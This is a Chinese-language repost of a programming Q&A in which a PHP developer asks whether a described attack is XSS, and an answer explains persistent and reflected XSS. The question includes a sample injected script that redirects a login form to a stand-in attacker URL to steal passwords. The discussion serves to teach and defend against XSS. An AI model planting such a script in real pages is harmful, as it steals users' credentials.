php – HTML的用户输入是向其他人显示的,而不是HTML转义的XSS的一个例子

前端之家收集整理的这篇文章主要介绍了php – HTML的用户输入是向其他人显示的,而不是HTML转义的XSS的一个例子前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
我是 PHP开发人员,我希望提高我的网站的安全性.

从我了解以下是影响Web应用程序的两种主要的漏洞类型:

> sql注入
> XSS

sql注入可以用准备的语句来修复 – 容易.

但我还是没有真正得到XSS – 以下是XSS的一个例子?

>完整的用户自定义内容页面上有一个登录表单(站点范围).
>用户页面的输入不是HTML转义的.
> A用户发布以下内容(例如评论)到页面

A really nice comment

<!-- now an evil script (example here with jquery,but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.PHP');
});
</script>

>一个无辜的用户来到页面,脚本执行.
>无辜的用户意识到他们没有登录,并将其详细信息输入到表单中.
>用户的详细信息将发送到http://somehackysite.com/givemyourpw.PHP,然后用户的帐户详细信息被盗.

所以我在这里真的有三个问题:

这会工作吗?
这是XSS吗?
>除了转义HTML,开发人员应该采取什么预防措施对XSS?

XSS攻击有两种类型:反映XSS和持久XSS攻击.您所描述的,站点用户输入在服务器端保存的数据,并为任何人查看页面呈现的数据被视为持久XSS.类似的攻击将是如果你有一个不能转义Javascript的帖子的评论框,或者我可以把任何东西放进一个个人资料页面.

另一类XSS攻击是反映XSS.这些更复杂一些,但它们相当于网页中未被转义的网页中的一个参数.他们经常出现在大型网站上的搜索页面.你会得到一个包含一些javascript的URL(对不起,我的示例被这里的渲染器弄错了,所以我不能给你一个例子),并且该页面将呈现出允许某人制作恶意的JavaScript URL.对于任何类型的财务数据,这些都是特别危险的;想象一个认真的用户,经常检查,以确保他们要写入链接到他们的银行,但是由于反映的XSS攻击,攻击者可以将他们发送到他们银行网站上的合法页面,但是有恶意其中的代码.

无论如何,您的示例是Persistent XSS.你可以通过这样的攻击来做更多恶意的事情,而不仅仅是更改登录表单发送用户的位置.他们多年来一直很流行,例如从站点的个人区域刮取信息,或者加上CSRF,以使经过身份验证的用户通过简单地查看页面来执行某些操作.有一些MySpace病毒一回,这样做,并从配置文件扩展到配置文件.

猜你在找的PHP相关文章